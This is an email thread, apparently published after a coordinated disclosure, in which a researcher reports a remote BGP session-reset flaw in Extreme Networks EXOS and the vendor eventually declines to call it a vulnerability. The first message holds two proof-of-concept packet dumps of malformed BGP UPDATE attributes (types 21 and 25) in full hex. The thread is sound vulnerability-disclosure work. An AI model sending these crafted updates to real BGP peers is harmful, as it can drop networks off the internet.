[redacted] [redacted]

Bad BGP attribute parsing leading to EXOS BGP Session DoS

14 messages

Ben Cox <ben@benjojo.co.uk> Mon, Jul 17, 2023 at 3:17 PM
To: security@extremenetworks.com

Dear [redacted] Security Team,

While doing some research for a talk, I stumbled upon a remote DoS in EXOS that can allow a remote peer (that isn't the peer directly connected) to cause a BGP session to reset. This bug is similar to a recent JunOS issue CVE-2023-0026.

It appears to be a mishandle in how the Attribute 21 (PMSI_TUNNEL) and Attribute 25 (IPv6 Address Specific Extended Community) is handled, I've confirmed in a lab environment that this will travel through many other BGPd's hop by hop before reaching a BGP session on a EXOS device and resetting it, meaning this could be exploited to cause a large amount of EXOS receiving full tables to disconnect from the internet.

===== BEGIN POC Packet (1) =====

```
11:07:46.966449 IP (tos 0xc0, ttl 1, id 41757, offset 0, flags [DF],
proto TCP (6), length 113)
    192.0.2.2.179 > 192.0.2.1.45918: Flags [P.], cksum 0xae64
(correct), seq 656:717, ack 122, win 1019, options [nop,nop,TS val
2182781882 ecr 1804839536], length 61: BGP
Update Message (2), length: 61
  Origin (1), length: 1, Flags [T]: Incomplete
    0x0000:  02
  AS Path (2), length: 10, Flags [T]: 2 65001
    0x0000:  0202 0000 0002 0000 fde9
  Next Hop (3), length: 4, Flags [T]: 192.0.2.2
    0x0000:  c000 0202
  Community (8), length: 4, Flags [OT]: 123:2345
    0x0000:  007b 0929
  Unknown Attribute (21), length: 0, Flags [OTP]:
    no Attribute 21 decoder
  Updated routes:
    198.51.100.0/24
0x0000:  0ce5 9a69 0000 0c89 8013 0000 0800 45c0  ...i..........E.
0x0010:  0071 a31d 4000 0106 51a6 c000 0202 c000  .q..@...Q.......
0x0020:  0201 00b3 b35e 04eb 1404 af38 02bd 8018  .....^.....8....
0x0030:  03fb ae64 0000 0101 080a 821a 9bba 6b93  ...d..........k.
0x0040:  aa70 ffff ffff ffff ffff ffff ffff  .p..............
0x0050:  ffff 003d 0200 0000 2240 0101 0240 020a  ...=....."@...@..
0x0060:  0202 0000 0002 0000 fde9 4003 04c0 0002  ..........@.....
0x0070:  02c0 0804 007b 0929 e015 0018 c633 64    .....{.).....3d
```

===== END POC Packet (1) =====

===== BEGIN POC Packet (2) =====

```
11:09:21.662044 IP (tos 0xc0, ttl 1, id 54645, offset 0, flags [DF],
proto TCP (6), length 114)
    192.0.2.2.179 > 192.0.2.1.45922: Flags [P.], cksum 0x5d0a
(correct), seq 282:344, ack 122, win 1019, options [nop,nop,TS val
2182876577 ecr 1804934232], length 62: BGP
Update Message (2), length: 62
  Origin (1), length: 1, Flags [T]: Incomplete
    0x0000:  02
  AS Path (2), length: 10, Flags [T]: 2 65001
    0x0000:  0202 0000 0002 0000 fde9
  Next Hop (3), length: 4, Flags [T]: 192.0.2.2
    0x0000:  c000 0202
  Community (8), length: 4, Flags [OT]: 123:2345
    0x0000:  007b 0929
  IPv6 Extended Community (25), length: 1, Flags [OTP]:
```

no Attribute 25 decoder
0x0000: 21
Updated routes:
198.51.100.0/24
0x0000: 0ce5 9a69 0000 0c89 8013 0000 0800 45c0 ...i.....E.
0x0010: 0072 d575 4000 0106 1f4d c000 0202 c000 .r.u@....M.....
0x0020: 0201 00b3 b362 9102 5466 3615 f8e5 8018 .....b..Tf6.....
0x0030: 03fb 5d0a 0000 0101 080a 821c 0da1 6b95 ..].....k.
0x0040: 1c58 ffff ffff ffff ffff ffff ffff .X.....
0x0050: ffff 003e 0200 0000 2340 0101 0240 020a ...>....#@...@..
0x0060: 0202 0000 0002 0000 fde9 4003 04c0 0002 .....@.....
0x0070: 02c0 0804 007b 0929 e019 0121 18c6 3364 .....{.)...!..3d
===== END POC Packet (2) =====

Be advised, The current expected date to go public is 2023/08/28, but this might be flexible if the situation is dire on your end.

I've informed key Extreme customers (in my eyes) of the existence of these flaws as a way to prep them for patching.

There is also a VINCE tracker for this on CERT.org, that you seem to have access to, search for[redacted]

Please let me know when you get this email, and if you have additional questions

Thanks
Ben

Security <security@extremenetworks.com> Mon, Jul 17, 2023 at 3:32 PM
To: Ben Cox <ben@benjojo.co.uk>

Hi Ben,

Thanks for sharing your notes. We do prefer to share this type of information over protected methods. Do you have a PGP key to continue this discussion?

Extreme PSIRT
security@extremenetworks.com

ExtremeNetworks.com
Advance With Us™

-----Original Message-----
From: Ben Cox <ben@benjojo.co.uk>
Sent: Monday, July 17, 2023 10:17 AM
To: Security <security@extremenetworks.com>
Subject: Bad BGP attribute parsing leading to EXOS BGP Session DoS

External Email: Use caution in opening links or attachments.

Dear [redacted]Security Team,

[section removed] ....

Thanks
Ben

Ben Cox <ben@benjojo.co.uk> Mon, Jul 17, 2023 at 3:36 PM
To: Security <security@extremenetworks.com>
Cc: Ben Cox <ben@benjojo.co.uk>

If you must:

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.4.12 (GNU/Linux)

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
=xZom
-----END PGP PUBLIC KEY BLOCK-----

However this will mean that all replies will take significantly
longer, as none of my clients can decrypt GPG email, so almost
encrypted email needs a pretty tedious song and dance.

[Quoted text hidden]

Security <security@extremenetworks.com> Mon, Jul 17, 2023 at 4:04 PM
To: Ben Cox <ben@benjojo.co.uk>

Thanks, Ben. We understand.

As part of any coordinated responsible disclosure, we would prefer that no customer or other external communication occurs until we conclude on the resolution. There is also an expectation of a minimum 90-day review as part of these types of disclosures.
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Mon, Jul 17, 2023 at 4:27 PM
To: Security <security@extremenetworks.com>
Cc: Ben Cox <ben@benjojo.co.uk>

> we would prefer that no customer or other external communication occurs until we conclude on the resolution

I assume we have similar wider interests, mine is to ensure that the people who critically need to patch this to avoid being de-peered off the internet know about it as soon as possible and are ready to patch when that happens.

> There is also an expectation of a minimum 90-day review as part of these types of disclosures

I agree that is generally the expectation, however no promises I'm afraid. There are 5+ different vendors with similar problems, and they are also all patching and writing their own notices. Coordinating disclosure on all of them is going to be really difficult and anyone paying attention to the other vendors' publishing will figure out the one in other vendors. One vendor (OpenBGPd) has already published a patch and notice about it.
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Fri, Jul 21, 2023 at 11:11 AM
To: Security <security@extremenetworks.com>

Hey folks,

Can you confirm if Extreme is actioning this report? I have a strong feeling that the my report is going to be superseded by this talk https://www.blackhat.com/us-23/briefings/schedule/index.html#route-to-bugs-analyzing-the-security-of-bgp-message-parsing-32162

I'm going to contact them, but I suspect this issue will be publicly disclosed without me on Wednesday, August 9.

I would critically urge you to look into this if you have not already, since this has a good chance of causing your customers using Extreme devices on their network edge with other BGP peers to de-peer from the internet.
[Quoted text hidden]

Security <security@extremenetworks.com> Fri, Jul 21, 2023 at 10:36 PM
To: "ben@benjojo.co.uk" <ben@benjojo.co.uk>

Hello Ben -

Thanks for the heads up. We are indeed preparing a response. Some of our staff may have further issues they wish to clarify with you, or we can post to VINCE.

Regards,

Extreme PSIRT
security@extremenetworks.com
ExtremeNetworks.com
Advance with UsTM

[Quoted text hidden]

---

openpgp-digital-signature.asc
1K

Ben Cox <ben@benjojo.co.uk> Fri, Jul 21, 2023 at 10:39 PM
To: Security <security@extremenetworks.com>
Cc: Ben Cox <ben@benjojo.co.uk>

That's great news! If possible can we keep chatter to email? VINCE so far has caused lots of general spurious messages that I'm not sure have been very helpful to progressing a fix
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Wed, Aug 2, 2023 at 12:45 PM
To: Security <security@extremenetworks.com>

Hey folks,

Are there any updates here? Extreme is the last vendor for this set of issues, Do you think there will be a response by Aug 9th or Aug 29th?
[Quoted text hidden]

Security <security@extremenetworks.com> Wed, Aug 2, 2023 at 12:53 PM
To: Ben Cox <ben@benjojo.co.uk>

Hi Ben,

We are still working through our processes. We believe we'll have a response by Aug 9th and definitely by the 29th.
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Wed, Aug 2, 2023 at 12:54 PM
To: Security <security@extremenetworks.com>
Cc: Ben Cox <ben@benjojo.co.uk>

Sounds great, thanks for the very fast update!
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Thu, Aug 10, 2023 at 2:03 PM
To: Security <security@extremenetworks.com>
Cc: Ben Cox <ben@benjojo.co.uk>

Hi again!

Did Extreme publish anything yesterday in the end?
[Quoted text hidden]

Ben Cox <ben@benjojo.co.uk> Mon, Aug 14, 2023 at 3:40 PM
To: Security <security@extremenetworks.com>

Hi Extreme Security team,

Any updates?
[Quoted text hidden]

Security <security@extremenetworks.com> Mon, Aug 14, 2023 at 4:01 PM
To: Ben Cox <ben@benjojo.co.uk>

Hi Ben,

After review of all the material, we are not considering this a vulnerability due to the presence of RFC 7606, as well as a history of documentation expressing these concerns all the way back to early 2000s, if not earlier. Malformed attributes are not a novel concept as an attack vector to BGP networks, as evidenced by RFC 7606, which is almost a decade old.

As such, customers that have chosen to not require or implement RFC 7606 have done so willingly and with knowledge of what is needed to defend against these types of attacks. Thus, the expectation that we'll reset our BGP sessions based on RFC 4271 attribute handling is proper. We do abide by other RFCs, in which we claim support, that update RFC 4271.

Other vendors do claim RFC 7606 support and have been sharing these controls as a mitigation to malformed attribute response. They don't appear to be producing new work product to account for these behaviors.

We are evaluating support for RFC 7606 as a future feature. Obviously, if customers desire a different response, we'll work through our normal feature request pipelines to address. This is no different than any other RFC support request.
[Quoted text hidden]
> > > > > mQINBFM2vyQBEACqu4uRQTvgagazGUXnMzqr5ffkZS+3Y